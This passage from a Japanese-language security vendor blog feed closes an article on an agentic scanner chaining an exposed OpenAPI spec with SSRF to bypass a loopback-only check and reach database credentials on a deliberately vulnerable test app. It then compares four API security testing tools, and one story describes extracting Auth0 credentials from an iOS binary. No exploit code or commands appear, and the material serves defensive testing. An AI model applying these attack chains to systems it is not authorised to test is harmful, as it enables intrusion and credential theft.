&lt;p&gt;&lt;strong&gt;重大度の低い検出結果がクリティカルな検出結果につながる場合、エスカレーションすべきか。&lt;/strong&gt;通常はその必要はありません。今回の場合、仕様の露出がSSRFを生み出したわけでも、ループバックのチェックを弱めたわけでもなく、2つの脆弱性はそれぞれ独立して存在していました。変わったのは発見のコストです。仕様の露出を解消してもクリティカルな検出結果はどちらも塞がらず、これをエスカレーションすると、悪用可能な欠陥ではなく露出のほうに修復の焦点がずれてしまいがちです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エージェント型スキャンとシグネチャベースのスキャンの違いは何か。&lt;/strong&gt;シグネチャベースのスキャナーは、エンドポイントを個別に評価し、ある結果と次の結果を結び付ける記憶を保持しません。仕様を取得しても一致はなく、&lt;code&gt;/internal/secret&lt;/code&gt;を調べると正しい&lt;code&gt;403&lt;/code&gt;が返り、否定的な結果として正確に記録されます。どちらの観察も間違ってはいません。検出結果は、同じファイルに記載された2つのエンドポイントの関係の中にしか存在せず、それを見つけるにはリクエストをまたいでアタックサーフェスのモデルを保持する必要があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;このテストは本番システムに対して実施されたのか。&lt;/strong&gt;いいえ。すべてのテストは、セキュリティ研究とツールのベンチマークのために公開されている意図的に脆弱なアプリケーション&lt;code&gt;vulnbank.org&lt;/code&gt;に対して実施されました。示されている認証情報は、そのサンドボックス内のシード済みのテスト値です。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;スキャナーは今後も、通信上で明らかにおかしく見えるものを見つけ続けるでしょうし、そうあるべきです。公開配信されたAPI仕様は、まさにルールが低コストで捕捉できる種類の設定ミスです。ルールにできないのは、その仕様を間取り図として読み、異なるセクションに異なる目的で記述された2つのエンドポイントが組み合わさることで、単体では完璧に機能している制御を迂回する経路になることに気づくことです。&lt;/p&gt;
&lt;p&gt;それが、エージェント型テストが実際にもたらす変化です。より多くのパターンを見つけることではなく、アプリケーションを十分に記憶に保持し、その各部分が互いにどう作用するかを見抜くことです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/web_agentic_deep_scan"&gt;Ostorlab Agentic Deep Scan&lt;/a&gt;で、同じ推論ループを自社のアタックサーフェスに対して実行してみてください。&lt;/p&gt;
&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@graph": [
    {
      "@type": "TechArticle",
      "@id": "https://blog.ostorlab.co/the-map-and-the-window-agentic-scan-cross-layer-attack-path.html#article",
      "url": "https://blog.ostorlab.co/the-map-and-the-window-agentic-scan-cross-layer-attack-path.html",
      "mainEntityOfPage": "https://blog.ostorlab.co/the-map-and-the-window-agentic-scan-cross-layer-attack-path.html",
      "headline": "地図と窓：エージェント型スキャンがドキュメントの漏えいを認証情報の窃取へとつなげた方法",
      "description": "公開配信されたOpenAPI仕様は、重大度「中」のドキュメントの漏えいに見えます。Ostorlab Agentic Deep Scanはそれをインベントリとして読み解き、組み合わさるとバイパスになる2つのエンドポイントを見つけ出し、データベースの認証情報にまで到達しました。",
      "datePublished": "2026-09-23T10:00:00+02:00",
      "dateModified": "2026-09-23T10:00:00+02:00",
      "inLanguage": "ja",
      "author": {
        "@type": "Person",
        "name": "Aziz Elbelaychy"
      },
      "publisher": {
        "@type": "Organization",
        "name": "Ostorlab",
        "url": "https://ostorlab.co/"
      },
      "image": "https://blog.ostorlab.co/static/img/2026-09-15_cross_layer_attack_paths/cover.png",
      "about": [
        "クロスレイヤー攻撃経路",
        "サーバーサイドリクエストフォージェリ",
        "OpenAPI仕様の露出",
        "エージェント型ペネトレーションテスト",
        "エクスプロイトチェーン"
      ]
    },
    {
      "@type": "FAQPage",
      "@id": "https://blog.ostorlab.co/the-map-and-the-window-agentic-scan-cross-layer-attack-path.html#faq",
      "mainEntity": [
        {
          "@type": "Question",
          "name": "露出したOpenAPI仕様はなぜセキュリティリスクになるのか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "OpenAPI仕様には通常、認証情報は含まれていないため、単体で「中」より高く評価されることはまれです。リスクは、インターフェースからリンクされていないルートも含めたアプリケーションのエンドポイントの完全なインベントリが、パラメーターのスキーマやエンドポイントごとの認証要件とともに公開されてしまう点にあります。これにより、未知のAPIのアタックサーフェスを手探りで探す作業が、既知の地図をもとにした的を絞った作業に変わります。"
          }
        },
        {
          "@type": "Question",
          "name": "SSRFはどのようにしてループバック専用の制限をバイパスするのか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "制限をバイパスするのではなく、条件を満たすのです。ループバックに制限されたエンドポイントは、リクエストの送信元を確認し、サーバー自身にしか応答しません。サーバーサイドリクエストフォージェリ（SSRF）の脆弱性があると、攻撃者はサーバーが取得するURLを指定できるため、その結果として生じるリクエストは本当に127.0.0.1から発信されます。制御は正しく評価を行い、それを許可します。"
          }
        },
        {
          "@type": "Question",
          "name": "重大度の低い検出結果がクリティカルな検出結果につながる場合、エスカレーションすべきか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "通常はその必要はありません。仕様の露出がSSRFを生み出したわけでも、ループバックのチェックを弱めたわけでもなく、2つの脆弱性はそれぞれ独立して存在していました。仕様によって変わったのは発見のコストです。仕様の露出を解消しても、クリティカルな検出結果はどちらも塞がりません。"
          }
        },
        {
          "@type": "Question",
          "name": "エージェント型スキャンとシグネチャベースのスキャンの違いは何か",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "シグネチャベースのスキャナーは、エンドポイントを個別に評価し、ある結果と次の結果を結び付ける記憶を持ちません。今回の検出結果は、同じファイルに記載された2つのエンドポイントの関係の中にしか存在せず、それを見つけるには、各エンドポイントを個別にテストするのではなく、リクエストをまたいでアタックサーフェスのモデルを保持する必要があります。"
          }
        },
        {
          "@type": "Question",
          "name": "このテストは本番システムに対して実施されたのか",
          "acceptedAnswer": {
            "@type": "Answer",
            "text": "いいえ。すべてのテストは、セキュリティ研究とツールのベンチマークのために公開されている意図的に脆弱なアプリケーションvulnbank.orgに対して実施されました。示されている認証情報は、そのサンドボックス内のシード済みのテスト値です。"
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;</content><category term="Security"/><category term="Security"/><category term="Agentic Deep Scan"/><category term="AppSec"/><category term="SSRF"/><category term="Information Disclosure"/><category term="API Security"/><category term="Penetration Testing"/><category term="Exploit Chaining"/></entry><entry><title>2026年版APIセキュリティテストツールのおすすめ：4製品を比較</title><link href="https://blog.ostorlab.co/ja/best-api-security-testing-tools-2026.html" rel="alternate"/><published>2026-09-22T14:00:00+02:00</published><updated>2026-09-25T17:00:00+02:00</updated><author><name>Bilal HARRAS</name></author><id>tag:blog.ostorlab.co,2026-09-22:/ja/best-api-security-testing-tools-2026.html</id><summary type="html">&lt;p&gt;2026年のおすすめAPIセキュリティテストツールとして、StackHawk、42Crunch、Escape、OstorlabをDAST、BOLA/BFLAテスト、APIディスカバリー、CI/CDの観点で比較します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;APIセキュリティテストツールを選ぶのは、見た目以上に難しいものです。ほとんどのベンダーが同じチェックリストを掲げており、違いは自社のAPIに向けて実際に使ってみて初めて見えてきます。当社は、まったく異なるアプローチを取る4つのツール、StackHawk、42Crunch、Escape、Ostorlabを比較しました。&lt;/p&gt;
&lt;h2 id="エグゼクティブサマリー(要約)"&gt;エグゼクティブサマリー（要約）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;StackHawk&lt;/strong&gt;は、すべてのプルリクエストで動的アプリケーションセキュリティテスト（DAST）を実行したいチームに適しています。&lt;strong&gt;42Crunch&lt;/strong&gt;は、OpenAPIコントラクトに基づいてAPIを運用するチームに適しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escape&lt;/strong&gt;は、GraphQL中心のバックエンドを持つAPIファーストのチームに適しています。&lt;strong&gt;Ostorlab&lt;/strong&gt;は、モバイルアプリ、Webフロントエンド、コードがすべて同じバックエンドを呼び出す製品に適しています。&lt;/li&gt;
&lt;li&gt;ツール間の最大の差は認可テスト、つまりオブジェクトレベルの認可の不備（BOLA）と機能レベルの認可の不備（BFLA）にあります。どのトライアルでも、まずこれを確認してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;APIセキュリティテストとは&lt;/strong&gt;
APIセキュリティテストは、APIが本来行うべきことだけを、本来それを行うべきユーザーに対してだけ行っていることを確認するものです。インジェクションや設定ミスに加えて、オブジェクトレベルの認可の不備（BOLA）のような認可の欠陥もカバーします。BOLAとは、ログイン済みの正当なリクエストが別のユーザーのデータを返してしまう問題です。BOLAは、OWASP API Security Top 10の2019年版と2023年版の両方でAPI1に位置付けられています。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="2026年のおすすめapiセキュリティテストツールは何か"&gt;2026年のおすすめAPIセキュリティテストツールは何か&lt;/h2&gt;
&lt;p&gt;4つのツールはそれぞれ異なる角度から問題に取り組むため、適切な選択はAPIの構築方法によって決まります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;優先事項&lt;/th&gt;
&lt;th&gt;最初に検討するツール&lt;/th&gt;
&lt;th&gt;理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;開発者が実行する、すべてのプルリクエストでのDAST&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;StackHawk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;スキャナーがローカルまたはCIで稼働中のアプリに対して実行され、検出結果がPRに届く&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenAPIコントラクトによるAPIのガバナンス&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;42Crunch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コードのリリース前に仕様を監査し、その後、稼働中のAPIが仕様に一致しているかをチェックする&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;仕様を保守せずに行うGraphQLとRESTのビジネスロジックテスト&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Escape&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;マルチユーザーの認可テストと、コードからのスキーマ生成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;APIを呼び出すモバイルクライアントやWebクライアントと一緒にAPIをテスト&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;クライアントやコードからトークンとルートを抽出し、稼働中のAPIに対してテストする&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="これらのapiセキュリティテストツールをどう評価したか"&gt;これらのAPIセキュリティテストツールをどう評価したか&lt;/h2&gt;
&lt;p&gt;当社は4つのプラットフォームを8つの基準で比較しました。これらは、トライアル中にどのベンダーにも尋ねるべき質問としても使えます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;基準&lt;/th&gt;
&lt;th&gt;望ましい状態&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;プロトコルのカバレッジ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自社で運用するすべてのAPI形式を（検出するだけでなく）テストする。REST、GraphQL、gRPC、SOAP、WebSocket、そして増えつつあるModel Context Protocol（MCP）サーバー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;仕様への依存&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;不完全な仕様や仕様がない状態でも動作し、仕様を生成または推論できる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;認証の扱い&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;実際のログインフロー（OAuth2フロー、スクリプト化されたログイン、MFA、トークンのリフレッシュ）を、トークンを手で貼り付けることなく処理する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;認可テスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;単一ユーザーのスキャンだけでなく、複数のアイデンティティを使った自動のBOLAテストとBFLAテスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ディスカバリー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コード、トラフィック、クライアントから文書化されていないエンドポイントを見つける&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;クライアント側のコンテキスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;モバイルアプリ、SPA、リポジトリが露出する情報（キー、ルート、リクエスト形式）をテストの入力として使える&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発者ワークフロー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CI/CD連携、PRへのフィードバック、IDEサポート、新しい検出結果でビルドを失敗させる仕組み&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;プライベートなターゲット&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ローカルランナー、プライベートエージェント、オンプレミスのスキャナーを通じて、ステージング環境や内部APIに到達できる&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;事実の出典について&lt;/strong&gt;：以下に記載する機能はすべて、各ベンダーの公開ドキュメントと製品ページに基づくもので、2026年9月に確認しました。リンク先は当社が参照したページです。この比較は、対象となる4つのベンダーの一つであるOstorlabが執筆しています。そのため、各プロファイルを同じ構成にそろえ、確認できなかった点は明記しました。&lt;/p&gt;
&lt;h2 id="apiセキュリティテストツールにはどのような種類があるか"&gt;APIセキュリティテストツールにはどのような種類があるか&lt;/h2&gt;
&lt;p&gt;「APIセキュリティテスト」はいくつかの手法を含んでおり、ほとんどのツールはそのうち2つか3つを組み合わせています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;API DAST（動的テスト）&lt;/strong&gt;：稼働中のAPIに実際のリクエストを送り、インジェクション、サーバーサイドリクエストフォージェリ（SSRF）、設定ミス、認証の欠陥を見つけます。到達可能な環境とテスト用の認証情報が必要です。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コントラクトテストとスキーマテスト&lt;/strong&gt;：OpenAPIまたはGraphQLの定義に脆弱なセキュリティ設定がないかを監査します。その後、定義から不正な形式のものも含めてリクエストを生成し、稼働中のAPIがコントラクトに一致しているかをチェックします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ビジネスロジックテストと認可テスト&lt;/strong&gt;：2つ以上のユーザーアイデンティティを使用します。あるユーザーが別のユーザーのオブジェクトを読み取ったり変更したりできないこと（BOLA）、自分のロールを超える機能を呼び出せないこと（BFLA）をチェックします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIディスカバリーとインベントリ&lt;/strong&gt;：ソースコード、トラフィック、DNS、クラウドアカウントを使って、誰も文書化していないAPIを見つけ、そもそもテストできるようにします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エージェント型またはAIペンテスト&lt;/strong&gt;：AIエージェントがアプリケーションを探索し、仮説を立て、検出結果を連鎖させ、各エクスプロイトをエビデンスで裏付けます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実行時の保護&lt;/strong&gt;：APIファイアウォールやゲートウェイが本番環境で攻撃をブロックします。テストを補完するものであり、テストの代わりにはなりません。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="stackhawk:開発者ファーストのdast"&gt;StackHawk：開発者ファーストのDAST&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：開発ワークフローにおける継続的なDAST&lt;/p&gt;
&lt;p&gt;StackHawkのスキャナーであるHawkScanは、CLIまたはDockerコンテナとして、ノートPC上やCI内で、稼働中のアプリケーションに対して実行されます。REST（OpenAPI）、GraphQL、gRPC、JSON-RPC、SOAPに&lt;a href="https://docs.stackhawk.com/hawkscan/" rel="nofollow noopener noreferrer" target="_blank"&gt;対応&lt;/a&gt;しています。ドキュメントでは、&lt;a href="https://docs.stackhawk.com/ai-security/model-context-protocol/" rel="nofollow noopener noreferrer" target="_blank"&gt;リモートMCPサーバーのテスト&lt;/a&gt;と&lt;a href="https://docs.stackhawk.com/hawkscan/llm-security-testing/" rel="nofollow noopener noreferrer" target="_blank"&gt;LLMセキュリティチェック&lt;/a&gt;も扱っています。&lt;/p&gt;
&lt;p&gt;認可テストは&lt;a href="https://docs.stackhawk.com/hawkscan/business-logic-testing/" rel="nofollow noopener noreferrer" target="_blank"&gt;Business Logic Testing&lt;/a&gt;を通じて実行されます。HawkScanは複数のユーザープロファイルでAPIをクロールし、リソースIDを記録して、それをプロファイル間でリプレイすることで、BOLAとオブジェクトプロパティレベルの認可の不備（BOPLA、API3）を検出します。特権ありとしてフラグ付けされたプロファイルが、BFLAのチェックに使われます。この機能には、OpenAPI仕様と少なくとも2つのテストアカウントが必要です。&lt;/p&gt;
&lt;p&gt;ディスカバリーについては、StackHawkは&lt;a href="https://docs.stackhawk.com/web-app/api-discovery/" rel="nofollow noopener noreferrer" target="_blank"&gt;GitHub、GitLab、Azure Repos、Bitbucketに接続&lt;/a&gt;してコード内のAPIを見つけ、そこからOpenAPI仕様を生成できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基準ごとのカバレッジ&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;認証&lt;/strong&gt;：フォームログイン、Cookieとベアラートークン、スクリプトによるOAuthのクライアントクレデンシャルフローとパスワードフロー、さらにJavaScriptまたはKotlinによるカスタム認証スクリプト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;開発者ワークフロー&lt;/strong&gt;：GitHub Actions、GitLab CI、Jenkins、Azure Pipelines、およびAIコーディングアシスタントとの連携&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ形態&lt;/strong&gt;：ローカルCLI、Docker、またはStackHawkのクラウドホスト型スキャン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;強み&lt;/strong&gt;：マージを制御するプルリクエストのチェックで検出結果が返されること、REST/GraphQL/gRPC/JSON-RPC/SOAPへの対応、マルチユーザーの認可テスト、コードからのAPIディスカバリー&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;制約&lt;/strong&gt;：稼働中の環境が必要で、ドキュメントではデータの変更が許容される場所で実行することを推奨しています。Business Logic Testingは仕様に依存します。WebSocketのエンドポイントはコード内で検出されますが、スキャンはされません。モバイルバイナリの解析は製品に含まれていません。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="42crunch:apiコントラクトのセキュリティとガバナンス"&gt;42Crunch：APIコントラクトのセキュリティとガバナンス&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：OpenAPIコントラクトの品質と準拠性&lt;/p&gt;
&lt;p&gt;42CrunchはAPI定義から始めます。&lt;strong&gt;API Audit&lt;/strong&gt;は、OpenAPI（v2、3.0、3.1）ファイルに対して200を超える静的チェックを実行し、0から100のスコアを付けます。CIパイプラインはこれをゲートとして使えます。続いて&lt;strong&gt;API Scan&lt;/strong&gt;が、生成したリクエストを稼働中のAPIに送り、コントラクトの仕様どおりに動作することを確認します。これには、拒否されるべきリクエストも含まれます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.42crunch.com/latest/content/tasks/scan_api_conformance_scan_v2.htm" rel="nofollow noopener noreferrer" target="_blank"&gt;Scan v2&lt;/a&gt;では、シナリオ（連鎖したリクエスト）と認可テストが追加されています。BOLAまたはBFLAを選び、成功するはずの認証情報と拒否されるはずの認証情報を一つずつ与え、テストする操作を指定します。&lt;/p&gt;
&lt;p&gt;テスト以外では、&lt;strong&gt;API Protection&lt;/strong&gt;が、コントラクトに基づく小型のAPIファイアウォールとして、KubernetesのサイドカーやECS、OpenShift上で動作します。42Crunchは、&lt;a href="https://42crunch.com/secure-mcp-server/" rel="nofollow noopener noreferrer" target="_blank"&gt;MCPサーバーのディスカバリー、監査、スキャン、実行時の保護&lt;/a&gt;も掲げています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基準ごとのカバレッジ&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;プロトコル&lt;/strong&gt;：OpenAPIに加え、AuditとScanでのGraphQL SDL（&lt;a href="https://docs.42crunch.com/latest/content/concepts/apis_and_collections.htm" rel="nofollow noopener noreferrer" target="_blank"&gt;別サブスクリプション&lt;/a&gt;、API ProtectionやIDE拡張機能には未対応）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;開発者ワークフロー&lt;/strong&gt;：AuditとScanを実行できるVS Code、JetBrains、Eclipseの拡張機能。CI連携にはGitHub Actions、GitLab、Azure Pipelines、Jenkins、Bitbucketがあり、SARIF出力に対応しています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ形態&lt;/strong&gt;：スキャンは42Crunchプラットフォームから、または&lt;code&gt;scand-agent&lt;/code&gt;のDockerイメージを使ってオンプレミスで実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;強み&lt;/strong&gt;：コミット前のコントラクト監査、準拠性テスト、明示的なBOLA/BFLAテストの設定、同じコントラクトを適用する実行時のファイアウォール&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;制約&lt;/strong&gt;：仕様にないものはすべてスコープ外となるため、文書化されていないルートはテストされません。その「ディスカバリー」は、リポジトリにすでにあるOpenAPIファイルを見つけるもので、コードやトラフィックからAPIを推論するものではありません。gRPCとSOAPはスキャン対象として文書化されていません。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="escape:ビジネスロジックのdastとapiディスカバリー"&gt;Escape：ビジネスロジックのDASTとAPIディスカバリー&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：特にGraphQL向けの、APIファーストのビジネスロジックテスト&lt;/p&gt;
&lt;p&gt;EscapeのDASTは&lt;a href="https://docs.escape.tech/documentation/introduction/choose-your-product/" rel="nofollow noopener noreferrer" target="_blank"&gt;REST APIとGraphQL API、Webアプリをテスト&lt;/a&gt;します。モデルをラップするエンドポイント向けに、プロンプトインジェクションやシステムプロンプトの漏えいといったLLM固有のチェックも含まれています。ログインプリセットはOAuthフロー、AWS Cognito、cURLシーケンス、ブラウザー駆動のログイン、MFA/TOTPをカバーしており、より単純なスキャナーでは失敗するフローに役立ちます。&lt;/p&gt;
&lt;p&gt;認可については、&lt;a href="https://docs.escape.tech/documentation/dast/multi-user-testing/" rel="nofollow noopener noreferrer" target="_blank"&gt;マルチユーザーテスト&lt;/a&gt;で一つのアカウントを被害者として扱います。他のアカウントは、IDの列挙とリクエストのリプレイによってそのデータへの到達を試みます。これにより、テナント分離と権限昇格の両方がカバーされます。&lt;/p&gt;
&lt;p&gt;ディスカバリーについては、Escapeのアタックサーフェス管理が、DNSと証明書ログ、フィンガープリンティング、トラフィックを通じてシャドーAPIを見つけます。また、GitHub、GitLab、Bitbucket上の&lt;a href="https://escape.tech/blog/automated-schema-generation/" rel="nofollow noopener noreferrer" target="_blank"&gt;ソースコードからスキーマを生成&lt;/a&gt;することもできます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基準ごとのカバレッジ&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;開発者ワークフロー&lt;/strong&gt;：GitHub Actions、GitLab CI、Jenkins、CircleCI、CLI、公開API&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ形態&lt;/strong&gt;：デフォルトはSaaS。プライベートロケーションエージェント（Docker、Kubernetes、またはバイナリ）が内部のターゲットに到達します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;強み&lt;/strong&gt;：マルチユーザーのビジネスロジックテスト、GraphQLの深い対応、幅広いログインプリセット、コードからの仕様生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;制約&lt;/strong&gt;：gRPCとSOAPはEscapeのディスカバリーのページに記載されていますが、DASTのドキュメントはRESTとGraphQLを対象としているため、他のプロトコルはトライアルで確認してください。モバイルバイナリの解析は記載されていません。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ostorlab:モバイル、web、コードをまたぐapiテスト"&gt;Ostorlab：モバイル、Web、コードをまたぐAPIテスト&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：APIを呼び出すモバイルアプリ、Webフロントエンド、ソースコードと一緒にAPIをテスト&lt;/p&gt;
&lt;p&gt;Ostorlabは&lt;a href="https://ostorlab.co/product/web_api" target="_blank"&gt;REST、GraphQL、SOAP/WSDLのAPIを稼働中の状態でテスト&lt;/a&gt;します。GraphQLはイントロスペクションまたはアップロードされたスキーマによってマッピングされ、生成されたクエリとミューテーションでテストされます。gRPCサービスは&lt;code&gt;.proto&lt;/code&gt;定義から解析され、実際の呼び出しは行いません。OpenAPI、GraphQLスキーマ、WSDL、protobufの定義をインポートできますが、仕様は任意です。仕様がない場合は、モバイルパッケージ、Webバンドル、ソースマップ、コードからエンドポイントを見つけ、計装された端末上で動作するアプリからトラフィックをキャプチャし、よく知られたSwaggerの場所を調べます。同じプラットフォームで、Android（APK/AAB）アプリとiOS（IPA）アプリ、Webアプリケーション、ネットワーク、ソースコードをスキャンします。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/ostorlab-multi-asset-deep-agentic-scan.html" target="_blank"&gt;Multi-Asset Deep Agentic Scan&lt;/a&gt;は、これらすべてを一つの評価にまとめます。一つのスキャンで、モバイルアプリに加えて、WebアプリとAPI、コードリポジトリ、OpenAPIファイルやPostmanコレクションなどのドキュメントをカバーできます。エージェントはアプリを逆コンパイルし、認証情報、ルート、リクエスト署名のロジックを抽出します。そして、それらを使ってバックエンドをテストします。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlab Multi-Asset Deep Agentic Scanへのアセットの追加：アプリストアのモバイルアプリやアップロードしたモバイルアプリ、Webアプリ、ネットワーク、コードリポジトリ、ファイル" class="img-fluid" src="https://blog.ostorlab.co/static/img/26-08-26_multiasset/MultiAsset.png" title="Multi-Asset Deep Agentic Scanへのアセットの追加"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Multi-Asset Deep Agentic Scanへのアセットの追加&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;Multi-Asset Deep Agentic Scanへのアセットの追加：ストアから、またはファイルとして追加するモバイルアプリ、Webアプリ、ネットワーク、コードリポジトリ、APIスキーマなどの補助ファイル。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;ある評価では、エージェントがiOSアプリにコンパイルされたAuth0のマシン間認証情報を見つけました。続いて、同じ認証情報がAuth0 Management APIに対しても認可されていることを突き止め、読み取り専用のリクエストを1回送っただけで、テナントの1,000件のレコードを含むユーザーディレクトリが返されました。チェーンの全体は&lt;a href="https://blog.ostorlab.co/how-ai-catches-complex-vulnerabilities-agentic-pentesting-exploit-chaining.html" target="_blank"&gt;AIが複雑な脆弱性を見つける仕組み&lt;/a&gt;で解説しています。&lt;/p&gt;
&lt;p&gt;APIにしか到達しないスキャナーでは、この認証情報を抽出することはできませんでした。認証情報はコンパイル済みのiOSバイナリの中にしか存在しなかったからです。このチェーンともう一つのチェーンについては、&lt;a href="https://blog.ostorlab.co/why-api-security-testing-alone-fails.html" target="_blank"&gt;APIセキュリティテストだけでは不十分な理由&lt;/a&gt;で詳しく説明しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基準ごとのカバレッジ&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;認可テスト&lt;/strong&gt;：エージェントがオブジェクト識別子を見つけ、ユーザーやロールをまたいでアクセスをテストします。BOLAやBFLAの欠陥は、データを変更するのではなく、認可されていない読み取りによって示します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;開発者ワークフロー&lt;/strong&gt;：GitHub、GitLab、Jenkins、CircleCI、Bitbucket、Azure DevOps、BitriseなどとのCI連携に加え、Jira、Linear、Slack、MCPサーバー&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デプロイ形態&lt;/strong&gt;：クラウドスキャナー（WAFやIP許可リストの背後にあるターゲットについては、公開されているIPアドレスを許可リストに追加）、または自社ネットワーク内で動作し、アウトバウンド接続のみを開くオンプレミスのスキャナー。オンプレミスのスキャナーはグループ化でき、空いているスキャナーでスキャンが実行されます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全性&lt;/strong&gt;：エージェントは最小限の安全なアクションで影響を示し、読み取り専用のリクエストでトークンをチェックします。独立した監視エージェントがスキャンを停止でき、スキャンのトラフィックはファイアウォールで制御され、リクエストレートはスキャナーホストで上限が設けられています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;強み&lt;/strong&gt;：モバイルバイナリ、Webバンドル、コードから得たコンテキストがAPIテストに反映されます。仕様は不要で、連鎖した検出結果にはリクエストとレスポンスのエビデンスが付きます。&lt;/li&gt;
